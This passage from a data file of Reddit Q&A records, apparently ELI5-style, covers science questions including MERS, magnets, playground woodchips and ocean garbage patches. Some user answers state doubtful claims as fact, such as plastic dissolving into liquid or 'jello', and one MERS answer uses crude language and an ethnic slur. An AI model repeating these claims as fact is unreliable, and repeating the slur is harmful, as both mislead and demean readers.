nice place to call home. A clownfish will have a home anemone, Moray eels live inside holes in rocks, all kinds of coral reef fish find safe places in and around the coral reef. However, large pelagic fish (those that live in open water and never come into contact with the bottom) are often found throughout huge areas (e.g. all of the tropics, most of the South Atlantic ocean, the entire Indian Ocean, etc.) Some pelagic fish, such as Great White Sharks, don't have a home region at all and just swim wherever they want.  It all depends on the critter.", "I think this may help. I always liked the story of the shrimp that live in glass sponges. A male and female shrimp will move into the sponge and defend it from other would be tenants. Eventually they become to big to leave and live their lives eating by filter feeding. My professor had a glass sponge that was filled with a few shrimp remains and said that some cultures would give them as wedding gifts to signify living together for the rest of their lives. \n\n _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://schmidtocean.org/cruise-log-post/a-deep-sea-love-story/"]]}
{"q_id": "9xeb0u", "title": "why is the liquid that's leftover from cooking oatmeal so adhesive?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xeb0u/eli5_why_is_the_liquid_thats_leftover_from/", "answers": {"a_id": ["e9rky4p"], "score": [4], "text": ["Starch extracts into the water. You can make starch glues for things like papier mache simply by boiling cornstarch in water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4xbajr", "title": "why do the top qualifying swimmers swim in the middle lanes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xbajr/eli5why_do_the_top_qualifying_swimmers_swim_in/", "answers": {"a_id": ["d6e1dkk", "d6ef0c8"], "score": [27, 3], "text": ["The turbulence / wake created when swimming causes a slight interference to other swimmers. The top 2 swimmers in the middle lane swims fastest and will generally not have to deal with these interferences. Swimmers at lane 1 / 8 faces the most interferences and turbulences bouncing off the wall imposes more difficulties to the swimmer.\n\nIt's like Formula 1 where the top drivers start at the first position. They're not supposed to be fair at all.\n\nContemporary competitions are generally more fair as the size of pools are larger. Olympic pools even have open lanes along the walls to reduce the effect of waves bouncing off the wall.\n\n >  more turbulence and distraction\n\nYou're right if they actually swim *slower*, but as the top swimmer they're the one who generally create those distractions.", "In addition to the turbulence issues described, in the middle lane you are more aware of what the racers around you are doing. You know if your well ahead and can cruise home or if you're being pushed and you need to swim hard to get home. \n\nSwimmers in the outer lanes, particularly favourites who haven't qualified with the best time, often complain that they had no idea what was happening in the race from lane 1 or 8. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3euyxi", "title": "what shape is the big red spot?", "selftext": "I know Jupiter is a gas giant, and is therefore essentially a sphere of dense gas; is the Red Spot therefore a sort of semi-sphere? Or is it just a circle?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3euyxi/eli5what_shape_is_the_big_red_spot/", "answers": {"a_id": ["ctingby"], "score": [2], "text": ["It's... storm-shaped :)\n\nIt's more of a fat oval, but vertically, it's quite thin. It's a storm about 15,000 by 35,000 kilometers in size, and about 100 kilometers or so in thickness. [This wiki entry](_URL_0_) has some great info on it.\n\nSo yeah, it's more or less a circle (it's actually becoming more circular than it used to be, over the years, according to observations)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Atmosphere_of_Jupiter#Great_Red_Spot"]]}
{"q_id": "o401k", "title": "Could a human be harmed from the sudden force of two large magnets repelling one another?", "selftext": "So imagine two car sized \"super\" magnets of the same pole hanging from two different cables spaced a few meters apart. Now pull those magnets up like opposite pendulums (let's say 100m up) and put a person in the middle of where they would violently crash together at the bottom of their downward swing. If you get magnets strong enough that they would suddenly repel one another without physically crashing together, would the magnetic forces still harm the guy standing in the middle? I'm sure my experiment has flaws so feel free to expand on or change it to make my question make sense. Thanks", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o401k/could_a_human_be_harmed_from_the_sudden_force_of/", "answers": {"a_id": ["c3e6b8w", "c3e6fi1", "c3ebq5k"], "score": [5, 13, 4], "text": ["Well if they had a pacemaker, metal prosthetic devices or embedded metal particles ( as can happen to welders who can get tiny slivers of metal in their eye without realising it ) they could be in big trouble as the pacemaker leads whip around and the metal fragments shred the inner eye.\n\n~~Im not sure it would effect the currents in the body though, as theyre not really  a \"conductor in a magnetic field\" as they are just moving chemical gradients and ion shifts.~~\n\n", "A rapidly changing magnetic field can cause biological effects - not from any mechanical force felt by the person, but from the current induced. This is the same technique used in [transcranial magnetic stimulation](_URL_1_).\n\nStronger magnetic field can lead to observable [diamagnetism](_URL_2_), where the water in your body can repel the external magnetic field. This is the phenomenon behind [the levitating frog](_URL_0_).\n\nNow, to answer your question, we need to make a few tweaks. First, magnets exists as dipoles, meaning you need two magnets with the same pole facing each other - thus you also require rigid rods that resist rotation. Second, we need to know the mass and strength of these magnets; the force required to keep them apart is entirely dependent on these two factors.", "I think I see what you're trying to ask.\n\nThe energy/force that pushes two magnets is not \"created\" by having them near eachother. The magnetic fields are always there (assuming permanent magnets) and simply act on eachother when they are nearby.\n\nThere's no difference between having them repel or attract one another in this example (well, other than the observer being squished if you flipped it around and didn't change the mechanism). In fact it would be the same as if there was only one magnet in the experiment. The strength of the fields would vary depending on how you did it (repel/attract/single magnet) because the fields would have different shapes.\n\nOther people have covered what that field would actually do, so I defer to their knowledge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ru.nl/hfml/research/levitation/diamagnetic/", "http://en.wikipedia.org/wiki/Transcranial_magnetic_stimulation", "http://en.wikipedia.org/wiki/Diamagnetism"], []]}
{"q_id": "3962ja", "title": "what is happening in south korea with mrsa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3962ja/eli5_what_is_happening_in_south_korea_with_mrsa/", "answers": {"a_id": ["cs0mlof", "cs0qpg1"], "score": [4, 2], "text": ["It's MERS, which stands for Middle Eastern Respiratory Syndome. It's a viral respiratory disease.\n\nMRSA stands for methicillin-resistant Staphylococcus aureus. It's a bacteria that's antibiotic resistant and can be a major problem in hospitals and nursing homes since the people there often have weakened immune systems.\n\nSouth Korea got hit with a bad outbreak of MERS recently. Not much is known about the disease other than it originated from the Middle East. It was initially theorized that it spread from camels, but that's far from certain at this point.", "It's not MRSA, it's MERS-CoV.\n\n\nThe way shit went down is thought to be as such;\nDude goes to Saudi Arabia, Bahrain, UAE and Qatar and fucks a camel. Gets bad shit. Goes home, spreads shit at home.  Dude in Guangdong gets it. People start getting it. Authorities get nervous.\n\n\n\nThe Heathen Chinee sequences the MERS-CoV from the Guangdong dude and samesame happens in not-quite-Best-Korea (South).\n\nThe sequenced clusters are very similar to the viruses found in the Riyadh outbreak earlier this year.  The difference is large enough that there's suspicion of a different zoonotic event in the Arabian Peninsula - some other asshole fucked an animal and got a different strain of it. Schweet. Given that the LessKorean (South) had a varied travel history, it's hard to tell where the shit originated.\n\nNow, the new cases aren't thought to be phenotypically different (meaning, looks very similar, genetically and physically) to the Middle Eastern shit, so it should BEHAVE the same in how it spreads and infects, meaning it might be easier to guess where it's going and how it's going to hit.  Sequencing more of the viruses will make this even easier.\n\n\nNow, the reasoning behind all this is that the Chinee used the Ion Torrent and Sanger sequencing platforms on  swab material and the Korean sample was from cell culture passaged virus run through an Illumina sequencing platform.  THe differences in the twain could account for the nucleotide differences. \n\nOf course, I could be wrong. :D"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2a8zf3", "title": "since pupils dilate and contract based on lighting, could it get so bright that your pupils close completely?", "selftext": "Or is there any way that the pupil could just close completely", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a8zf3/eli5_since_pupils_dilate_and_contract_based_on/", "answers": {"a_id": ["cisnakt", "cisnej2"], "score": [3, 2], "text": ["To my knowledge, the iris sphincter muscle does not have the capacity to tighten to the point that all incoming light is blocked. Certainly it cannot do so sufficiently to prevent blindness due to exposure to intense enough light sources. ", "The pupil cannot close enough to filter out the concentration of light from the sun, the sun just ends up looking like an orb of pure white. So I'm guessing when we look at the sun at its brightest, that is about the most the human pupil can contract."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "10ajer", "title": "why are tongue twisters hard to say?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10ajer/eli5why_are_tongue_twisters_hard_to_say/", "answers": {"a_id": ["c6bsk8j", "c6bss5q", "c6bt0jv", "c6butf5", "c6bvy1v", "c6c5g70"], "score": [12, 24, 4, 2, 4, 2], "text": ["Can I jump on here and ask, Do other languages have tongue twisters? ", "Because you haven't trained your tongue to move in that way.\n\nTongue twisters focus on the slight movements which your brain can imagine the sentence but your tongue can't reproduce.\n\nA simple example, the R letter in spanish, check the video.\n_URL_0_\n\nThe tip of your tongue has to vibrate really fast against the roof of your mouth. Depending on which language you speak this may come really easy or really hard to reproduce.", "Look at a common example: Red lorry yellow lorry.\n\nIt is obviously the first letters of each vowel which are the ones causing trouble. This is because if you look at the letters 'L' (pronounced as the lower cased /luh/) and 'R' (pronounced /ruh/), the only difference is the lip position. The former is an open mouthed word, using your tongue by placing it on your alveolar ridge and flicking it downwards. The latter is similar, just close your mouth a lot more and do a similar thing with your lips.\n\n'She sells sea shells' requires the 's' and 'sh' sounds similarly. Because it's only a slightly different positioning of the tongue (make the sounds, the 's' sound restricts the airflow more than the 'sh' sound), it's hard to alternate.\n\nThe only difference between the 'p' and 'b' sound is about 15 milliseconds of unvoiced sound in 'p' before the voicing kicks in. They are then identical sounds.\n\nBecause of this similarity is mouth positioning, it makes it very hard to alternate these quickly, so your brain has a hard time deciding which very similar sound it is to make.\n\nSO MUCH TO SAY ABOUT WORDS.", "I've noticed it's a repetition of similar sounds and rhythms that get me.", "[Here's a Vlog Brother's video about tongue twisters that gives a pretty good explanation](_URL_0_)", "Say \"real world road rules challenge\" five times fast. It can't be done."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=2YpUZFsZzcw"], [], [], ["http://www.youtube.com/watch?v=YVlLzjqJvIc"], []]}
{"q_id": "3zasy1", "title": "why do some playgrounds use woodchips for flooring? aren't they kind of dangerous?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zasy1/eli5_why_do_some_playgrounds_use_woodchips_for/", "answers": {"a_id": ["cykk0k9", "cyklqh2", "cyknxrx", "cyko5xg", "cykow5f", "cykp0kx", "cykph1w", "cykpqxd", "cykpsx0", "cykrnwq", "cykvl92", "cykwhvf", "cyl0bc1", "cyl2fv4", "cyl5quk", "cyl8qb3", "cylc5e4", "cyllmub"], "score": [501, 123, 17, 14, 4, 7, 14, 51, 7, 9, 3, 10, 4, 2, 3, 2, 3, 2], "text": ["They are cleaner than dirt and mud, help prevent weed growth, and provides some cushion in falls ", "What's dangerous about wood chips that isn't about other materials they can use. Its pretty soft.", "A thick layer of mulch (at least 30cm) is usually used, and mulch has a lot of air between the chips so it can cushion falls like a big sponge ", "The playground I went to as a kid used woodchips as the ground cover! It was so much fun finding ones with cool shapes and they made the playground smell good. We all would get splinters at that playground because the play structures were wooden, not because of the woodchips.\n\nAnyways, I drove by that playground recently and they have modernized it all to hideous plastic. Too bad really. ", "I am actually curious about the rules and regulations behind playground flooring and build in general. Seems like it is a bureaucratic shitshow.\n\nDuring elementary they playgrounds went from sand to bark/woodchips. Then a newer playground had these rubber matts. And now years later I see that the oldest playground also has rubber matts.\n\nMust have been some dude that figured out sand wasn't okay, promptly banned it and then found out woochips where bad too a few years later.\n\n\nThey would also tear down and rebuild a lot of the playgrounds. Not just the flooring. I guess they can't be quite as tall anymore and need to be more accident proof.", "I always preferred pea gravel. Must have been a choking hazard or something cause you don't see it anymore. ", "I used to build playgrounds for public schools.  Woodchips are cheaper and are softer to fall on compared to the rubber chips.  [Rubber also has more dangerous fires.](_URL_0_)", "They typically use \"playground certified\" wood chips, and it's more involved than just chipped up trees.  It often includes double grinding wood chips from a wood chipper, as well as running it through a magnet to remove any metal debris.  The double grinding process eliminates any very big, jagged pieces. ", "I heard once that woodchips were a better alternative to rubber, plastic etc with the reason that if a child were to fall and put their hand out, wood chips have the ability to slide away and prevent a break. The downside to them, and why new playgrounds don't use them is that they can hide nasties like syringes ", "I might be able to help! I've been working at a landscaping company the last three years and have installed several playgrounds in that time. Playground mulch is much different than normal garden mulch because it generally is put through the wood shredder twice to make the chips smaller. It also has to be a certain type of wood (I don't recall specifically what species) but it cannot contain any harmful saps, pigments, or allergens. Since playground mulch is also shredded twice, it creates a more \"fluffy\" texture a lot like feathers in a pillow. There is also usually a very thick layer of it ( > 6 inches) in a playground to add to the cushioning effect verses only a few inches thick in normal garden mulch.\n\nA good way to make sure that playground mulch is indeed safe is to grab a handful of it and give it a good squeeze. It should actually feel soft and not like squeezing toothpicks or other sharp-pointed things.\n\n", "You know what's more dangerous than wood chips on a playground? A playground. \n\nKeep your kids home folks. Too dangerous for them to go outside and experience ANYTHING. \n\nEdit: spelling", "I worked in Playground maintenance for 5 years. The simple answer is cost. There is an organization called International Playground Equipment Manufacturer Association _URL_0_ among the numerous things they do is test equipment safety. That's where the wood chips come in. They are actually called engineered Wood fibre, they look exactly like Wood chips but are manufactured differently. IPEMA will certify for manufactures engineered Wood fibres, so that they can get a certain dollar value of liability insurance. The other materials are equally as good or superior. The most important aspect of playgrounds are inspection and repairs. But enough of my ramblings... I hope that long and short answer helped out.", "Instead of getting sand in your eye, you can now enjoy getting giant splinters in your eye.", "They're nice and clean, and worn smooth enough that slivers aren't a problem. They're also environmentally friendly and much nicer to fall on than gravel. ", "They're also called engineered wood fiber. Don't know how it's done but they're made in a way that gets rid of splinters on the wood. With enough depth they do provide really good fall protection, more so then rubber mats or pee gravel.", "When I was little our neighborhood park made the change to wood-chips because all of the outside kitties kept poopin in the sand  ", "Does anyone know the rubber flooring on a lot of playgrounds these days? It's like shredded rubber, I can't help but think they could be toxic on a really hot day. ", "TL;DR: wood chips are much safer than sand or dirt, and much cheaper than rubber.\n\nAs someone who recently priced out this kind of stuff to landscape my back yard it's either this, or the rubber bits for about 5x as much. And when it's $200 for enough wood chips for the area, that cost adds up quickly. You could do sand, or dirt, but it provides almost no cushion in falls and does nothing to prevent weed growth. \n\nThey make special wood chips for this purpose called \"gorilla hair\" that are more shredded than chipped. Little more expensive than regular mulch, but softer and less likely to give the kids splinters. Also, looking long term, eventually the chips break down and turn into compost which as you might guess is really fertile for weed growth. Also because of the breakdown the wood chips have to be supplemented with more wood chips every few years. \n\nNow, if you really want rubber, you can get the shredded tires, but those can have bits of wire from the steel belts still mixed in. Now you're trading cost for tetanus. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.morningjournal.com/article/MJ/20130607/NEWS/306079984"], [], [], [], [], ["http://www.ipema.org"], [], [], [], [], [], []]}
{"q_id": "1t07mn", "title": "why do we hear so much about garbage islands, but can't see any on google maps?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t07mn/eli5_why_do_we_hear_so_much_about_garbage_islands/", "answers": {"a_id": ["ce302xe", "ce32wwx", "ce32x7v", "ce33kbs", "ce33lhx", "ce33sns", "ce345kk", "ce35pcj", "ce35uxy", "ce36ca4", "ce36eym", "ce3707s", "ce37ggp", "ce384p4", "ce38c5o", "ce38lsc", "ce39a4m", "ce39a7x", "ce39dyk", "ce39v0g", "ce3a3tz", "ce3axbs", "ce3ccgw", "ce3egp0", "ce3err2", "ce3exti", "ce3fhqo", "ce3fw1y", "ce3h4tl", "ce3hzk3", "ce3ihzm", "ce3osmx", "ce3pig3", "ce3q9qb", "ce3r5lv"], "score": [165, 12, 32, 98, 851, 24, 21, 2, 2, 12, 3, 5, 3, 3, 2, 6, 6, 2, 23, 2, 2, 10, 2, 6, 2, 2, 2, 3, 2, 2, 3, 2, 2, 4, 5], "text": ["They are not actual islands but areas where there is a certain high amount of plastic in a liter of seawater. The world's garbage accumulates in certain areas of the ocean because of currents (e.g. [The great Pacific garbage patch](_URL_0_)). If you go there by boat you will encounter a lot of garbage floating around or on the beaches of nearby islands. There are more plastic particles than there is plancton in the seawater.", "Because Google maps doesn't actually take pictures of the open ocean. After like two miles out to sea, I less there's an island or something important, it'll just be computer generated blue. ", "Google Maps doesn't really show you the ocean surface. You can see parts of the ocean around actual islands and continents, but for the most part you're seeing what I presume to be the sea floor topography.", "VICE has a short documentary on it. There aren't many huge chunks of plastic but there is a large area with masses of small chunks of plastic. They'd just dip a net into the water and come up with trash. ", "First of all, Google Maps doesn't acquire very high resolution imagery for the middle of nowhere in the ocean. It costs a lot of money to get very good satellite pictures, so they focus mostly on cities and developed areas. \n\nThere's some truth to the earlier responses - yes, it isn't a literal island of garbage, it's a huge area with a high concentration of plastics and industrial waste. That doesn't mean that you wouldn't be able to SEE it with the right tools. And if you were there, you'd likely see many parts of it.", "Contrary to popular belief garbage island isn't in fact a island. What you and the media tend to refer to is located within the Pacific gyre but it's no island. Think of it more as a plastic chowder, tons of tiny littles particles floating around for miles, these tiny particles are eaten by tiny phytoplankton, and boom  we have bio magnification of horrible toxins, that we later find in human breast milk. I just read Garbology by Edward Humes, if you  are interested in trash at all give it a read.", "Because the plastic has turned to liquid and is mixed in with the water, which means its actually WORSE than solid islands of garbage.\n\n[Fish swallow this crap thinking its just water and food.](_URL_0_)\n\nAnyone saying its not a bad thing is full of shit. We're destroying the planet, no ifs ands or buts.", "_URL_0_\n\nSkeptoid episode on the subject. ", "Manhattan:\n\n\"Early in the 19th century, landfill was used to expand Lower Manhattan from the natural Hudson shoreline at Greenwich Street to West Street. When building the World Trade Center, 1.2 million cubic yards of material was excavated from the site. Rather than dumping the spoil at sea or in landfills, the fill material was used to expand the Manhattan shoreline across West Street, creating Battery Park City.\"", "Picture an area twice the size of Texas. According to Charles Moore during a 2008 NPR interview that roughly is how large the Great Pacific Garbage patch is. \n\nIt's formed from currents along the coasts of Pacific; eventually ending up in the center. According to Moore, who is the head of Vortex, as well as the founder, it takes up to 6 months to a year for trash from China to reach the center, and 5 years from the West coast of the US. It's basically a giant toilet bowl effect. About 80% of the trash is from shore while 20% is from boats according to Doug Woodring of 'Project Kaisei'. \n\nSo what happens when it reaches the center? Well most natural compounds break down to either food for fish or just sand. But plastic isn't natural. It doesn't break down in the traditional sense. Instead, from the salt in the water, and the sun, it breaks down to a warm jello substance. It takes months if not years for plastic to get to this state. Most of this stuff is within the top 10 meters of the ocean. Plastic floats, and thus creating an 'island'. \n\nIn most cases it hurts the environment. Birds and fish are drawn to the shiny plastic, and their decaying bodies that are found all around this area show that. Plastic's eaten by fish are absorbed by the animal, and can potentially enter the food chain. Fish you eat from the Pacific could very well have plastic in the meat (not in the sense that you'll find chunks of plastic in the fish, but the plastic goo would end up in the blood of the fish). \nScientists aren't 100% how the patch will effect the ecosystem in the long run since research still isn't that old. But go to some of the beaches that are on the outskirts of the patch in Hawaii. The beaches are almost literally just plastic's. And quite frankly there isn't an easy way to fix it. \n\nI did research on the subject a few years ago, but the information is still sound as far as I understand it. \n\nMy sources: \n_URL_1_\n_URL_2_\n_URL_0_ \n_URL_4_ \n_URL_3_\n\n\n", "I think this explains it pretty well.\n\n_URL_0_", "There is no actual garbage island as such, this documentary by vice covers the whole situation its extremely interesting and depressing at the same time\n\n_URL_0_", "_URL_0_\n\nVice sails to the North Pacific Gyre, collecting point for all of the ocean's flotsam and home of the Great Pacific Garbage Patch: a mythical, Texas-sized island made entirely of our trash.\n\nThere isn't really an 'island' of garbage; there is a massive concentration of plastic in the ocean. The Gyre is just where it all starts to collect in higher densities.", "Garbage island is not a correct way to classify this phenomenon. They rather are garbage 'patches.' Most notorious is the 'Great Pacific Garbage Patch' located in the North Pacific Gyre. The majority of marine debri caught in the vortex of currents is plastic which photo degrades into micro-plastic. You may see heaps of discarded fishing gear or other random objects, but it is more like a plastic soup. I have done research on this topic since 2007 and would be happy to elaborate on any one's questions about it! There is a lot of pseudo science on the subject portrayed in the media, but don't be fooled...these collections of anthropogenic waste could be a real problem.", "Because people like you would post and be like: \"Hey check it out guys. Garbage islands.\"", "If you are talking about the \"pacific garbage patch\" - It isn't an Island at all. It is an area of the Pacific, larger than Texas, which has high concentrations of garbage - especially pastics, both floating at the surface as well as suspended in the water column (to depths of thousands of feet). It doesn't form an \"island\" or a \"slick\". In fact, if you were swimming in the middle of it, you might not even realize it...", "The infographics of a \"garbage raft\" generally have nothing to do with the \"Great Pacific Garbage Patch\".  IIRC those pics were taken following a tsunami or China trying to clean up the garbage in front of the Three Gorges Dam.  It's intellectually dishonest and has nothing to do with the Garbage Patch.\n\nSimilarly, the pelicans, seagulls, and turtles eating plastic generally has little to do with the \"garbage patch\", they're eating local garbage contamination far from there.\n\nThe \"Great Pacific Garbage Patch\"- the \"Pacific gyre\" concentration- is an area of detectable decaying plastic particles under the surface.  There is NOTHING to see, if you look long enough you may find a fishing float or piece of styrofoam, or even a fishing net meshing some trash together, but you're MUCH more likely to find one near land, far from here.  There is no \"raft\" of garbage out in the ocean.\n\nIt covers a large area, but isn't nearly as intense as articles make it out.  There is nothing to see on the surface.  If you went diving below, you would see nothing there either.  A fine-mesh screen dragged behind a boat for awhile will yield a handful of plastic particles.  \n\nThe environmental significance of this IS unclear.  Well it COULD be problematic, these particles could be poisoning the food chain.  Scientific proof is unclear, though.  It's full of speculation and unscientific alarmist condemnation.  \n\nIt leads to misleading ideas about how to \"clean it up\".  This gives the impression we need to sent a ship out to skim the surface and clean up trash.  In reality a boat dragging a wide net could go through 10,000 gallons of diesel fuel to get only a barrel full of plastic particles, and not touch a millionth of a percent of the problem.  Probably kill more marine life in the nets than it might potentially \"save\".\n\n\n\n", "Because Google doesn't have viewable resolution of most of the ocean. For example, look at Wake Island or Midway Island in the South Pacific, and zoom in, you will see a \"viewable area\" around each island, then nothing. Same goes for some oil rigs, which would normally be viewable if they were on land.", "Ohio can be found on google maps.", "Yeah its one big old lie. There is that much plastic out there, if you took it all, and stacked it all in once place from the ocean floor to the top, youd have one small island. They try and claim that if you had it all in one place, but spread out at the surface it would be as large as texas. Trash is out there, and island? Not so much.", "I _URL_0_ find any evidence of a trash island. I asked a friend who was ranting about it to pull up one single picture, and her responce was she hasn't seen one, but she's sure its out there. It was infuriating. I care alot about the environment, but I have just as little time for made up stories as I do football and family guy", "they really arent islands, they are just places in the ocean where the currents work together to have an area that has a much higher statistical ratio of garbage in the water.", "As a former navy enlisted man who has sailed across the pacific a couple times I can assure you that given the right circumstances you can definitely see these \"trash islands\"..the word island is a little misleading as some have pointed out earlier..what I've seen are more like streaks or \"rivers\" of trash that have collected at the surface..it's actually pretty disgusting to look at..I was also a little taken back my first time out to sea when I realized how the crew of the ship dispose of a majority of the trash they produce, going on a \"trash run\" for the first time simply meant grabbing a fuck ton of garbage and tossing it off the side of the ship..now even though the trash is separated to make sure we aren't throwing plastics in the ocean, a lot of people simply don't give a fuck or refuse to sort through bags of garbage..", "A buddy of mine helps run [5 Gyres](_URL_0_), a non-profit dedicated to this exact issue.  If you check out [their website](_URL_0_) it has everything you need or want to know about the 5 'garbage islands' and the plastic pollution problem.\n\nThey actually do sailing expeditions to monitor the gyres, promote education and awareness, organize beach and river cleanup projects, and even help push corporate and public policy around the issue - they're one of the groups behind the 'plastic bag ban' initiatives that are going around.\n\nPlease help upvote for visibility.", "Google maps is lazy, it just copy and pastes the oceans. ", "There is no such thing as \"garbage islands.\" But there *are* areas in the ocean where the garbage that end up in the ocean will tend to collect, based the major currents and how they affect the movement of water in the ocean between them. These areas are very large areas that have a high concentration of garbage and waste. Most of the garbage is in pieces and not all of it floats, and is spread out over the whole area, so it is not something that you can tell from satellite pictures. Also, a lot of mid-ocean satellite pictures are fairly old, since the remote areas of the oceans don't change very much. \n\nBut if you took a fine net and dragged it behind a boat in one of these areas (\"known as \"gyres\"), you would collect a significantly higher amount of waste than if you did it in other parts of the ocean. That's still a concern, because even though these little pieces aren't big enough to be seen by Digital Globe satellite pictures, they are still big enough, and there is enough of them, to cause problems for ocean wildlife -- fish, whales, and so on.", "Because the plastic that makes up these garbage islands have been crushed into tiny pieces called nurdles. The gyres that these nurdles get stuck in and collect to form plastic islands are huge. \n\nBut there are islands of trash that you can walk on. But you'd have to zoom in and know exactly where to find them. ", "I did some research on this last year.these garbage patches are predominately plastic. Salt water makes plastic brittle, so the ocean ends up breaking down plastic trash into smaller and smaller bits. Sometimes to a microscopic scale, where it is ingested by algae and other microorganisms.\n Its so dangerous, difficult to remove, and see. Its entering the food chain and causing major harm at every link. We can't simply drag a net through the patches and clean them up. We can't see it because the pieces are relatively small and broken down in a very large ocean. This causes a secondary problem, where the problem isn't visible to the public. Hard to do PR, even tho its a huge ecological problem", "[Toxic Garbage Island](_URL_0_)\n\nSpoiler Alert: French Metal", "I did a quick perusal through the comments but I didn't see one saying this (apologies if this has been already covered).\n\nThe garbage patches that are talked about aren't actually visible from above because they aren't floating on top of the water. They are just under the surface of the water. This is why you can't see them from satellite. ", "I've heard of it referred to as the pacific gyre.  It's more of a soup than island.", "Vice magazine did a video documentary about the garbage islands or - using the proper name - the Pacific Gyre:\n\nGarbage Island: An Ocean Full of Plastic (Part 1/3) : _URL_1_\n\nParts 2  &  3 are also available on Youtube:\n\n2/3 : _URL_0_\n3/3 : _URL_2_\n\nPart 3 shows the actual garbage but the whole documentary is interesting.\n\nTo put it in simple words, the trash is basically small granules of plastic (almost microscopic) and other materials that decompose very hard. They're present over a huge area in the ocean but they're floating a few inches below the surface of the water so if you look at the water, it's very hard to see anything different.\n\nIf it's so hard to see the trash from a boat, think how hard it is to see the trash from hundreds or thousands of miles away up in the sky where satellites are. \n\nFor most of the ocean Google uses images taken from satellites and these pictures have poor resolutions. The satellites are configured to snap as large areas as possible, instead of focusing on small areas to capture a lot of detail.\n\nIt costs a lot of money to position a satellite over a particular area and focus its camera to a small area to get a very detailed image of that area. It also takes several rotations around the world for a satellite to capture an area (a town or a small county or something like that) - these rotations around the world mean time wasted and satellites are only usable for 10-20 years so each hour wasted costs money.\nThe company that owns the satellite can justify spending so much money to take very detailed pictures of a populated area, because they will sell those images to lots of companies, governments, people etc so they recover the money and make a profit. \nIn contrast, very few people care about pictures of the middle of the ocean so there's simply no commercial point for a satellite imagery company to    ", "It's not an island, it's a soup.", "The Great Pacific Garbage Patch isn't a garbage island per se, but don't let that fool you into thinking it isn't a major ecological catastrophe right this very second.\n\nIf I put a plastic Widget A at the bottom of a salt water fishbowl at one end of a football field and you at the other end, would you be able to tell me what color it was? What about after 3 years? What about from orbit?\n\nThe GPGP is not visible to the imaging satellites in orbit around Earth because the myriad widgets of debris are each quite tiny and spread over great distances, not all clumped together. And of course they are generally the size of whatever fish and seagulls eat.  They are also floating at various depths, not to mention variable surface and atmospheric weather conditions. Or they are simply already chemically broken down to the point of being invisible.  Of course this is the size of what multi- and single cellular life eat.\n\nIt doesn't all float into some sort of garbage land mass you could stand on and claim like some garbage pirate.  These man-made petroleum based products **quickly** break down into a toxic sludge very much like an oil spill and then have no place to go but into the food chain. \"Quickly,\" considering how long it took to form the oil we took out of the ground to manufacture Widget A, and how long we used Widget A before we threw it away, and how quickly it floats around (US- > Asia : 6 years :: Asia- > US : 1 year)\n\nAnd this thing is massive.  I mean the scale boggles the mind.  Given these difficulties in identifying and tracking it's severity and locality, there is rampant speculation as to its size. From half of one percent up to eight percent of the Pacific Ocean's total size. Several hundred thousand square kilometers at least.\n\nThis isn't just a problem of how do we fish plastic Widgets A and B out of the ocean.  It's now that we have had Widgets A and B floating around for decades, how do we get back below some level X parts-per-million of dissolved plastic molecules in the *entire ocean,* while we're still dumping ever more Widgets? And before we wreck the worlds food chain from the bottom up!", "The Atlantic Garbage Patch and the Pacific Garbage Patch are two \"islands\" that you're talking about. However, a common misconception is that a garbage patch can ONLY be a literal mound of trash. The Atlantic patch is in between California and Hawaii and the Atlantic patch is off the east coast of the U.S. The patches are located in naturally occurring ocean gyres. There are 5 of them in the world. The wind and water currents across the globe sometimes meet in a way that basically causes an endless circular motion rather that a straight flow across the globe, creating these 5 gyres. Its like the eye of a hurricane; it is very calm in the center but the circulation of wind and water draws in anything around, gradually causing a breakdown of the materials. So the patches are generally just stews of pollution, consisting of chemical sludge, mostly plastic, and anything that made it into the worlds oceans. After the Pacific patch was discovered, researchers went to map out the supposed Atlantic counter part, and what they found was millions of microbial bits that stretched 65 feet downward into the water. At a glance you couldn't even seen anything abnormal about the water, until they looked closer and saw the bits everywhere. So in conclusion, don't be fooled into thinking that what you see is what you get, because in the case of the oceans, its not all just bottles and tires, its tiny pieces of pollution and chemicals that you can't even see."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Great_Pacific_garbage_patch"], [], [], [], [], [], ["http://i.telegraph.co.uk/multimedia/archive/01391/drowning-in-plasti_1391171c.jpg"], ["http://skeptoid.com/episodes/4132"], [], ["http://www.npr.org/templates/story/story.php?storyId=89099470", "www.mauitime.com/articles-i-2009-01-29-68584.113117_the_great_garbage_swirl.html", "http://www.time.com/time/health/article/0,8599,1914145,00.html#ixzz0hixlHRNz", "http://sierraclub.org/sierra/200905/message2.aspx", "http://www.alguita.com/gyre.pdf"], ["http://skeptoid.com/episodes/4132"], ["http://www.youtube.com/watch?v=D41rO7mL6zM"], ["http://www.youtube.com/watch?v=D41rO7mL6zM&amp;feature=share&amp;list=PLDbSvEZka6GEK_heOAEr2k-3eaK6O4803"], [], [], [], [], [], [], [], ["have.to"], [], [], ["http://5gyres.org/"], [], [], [], [], 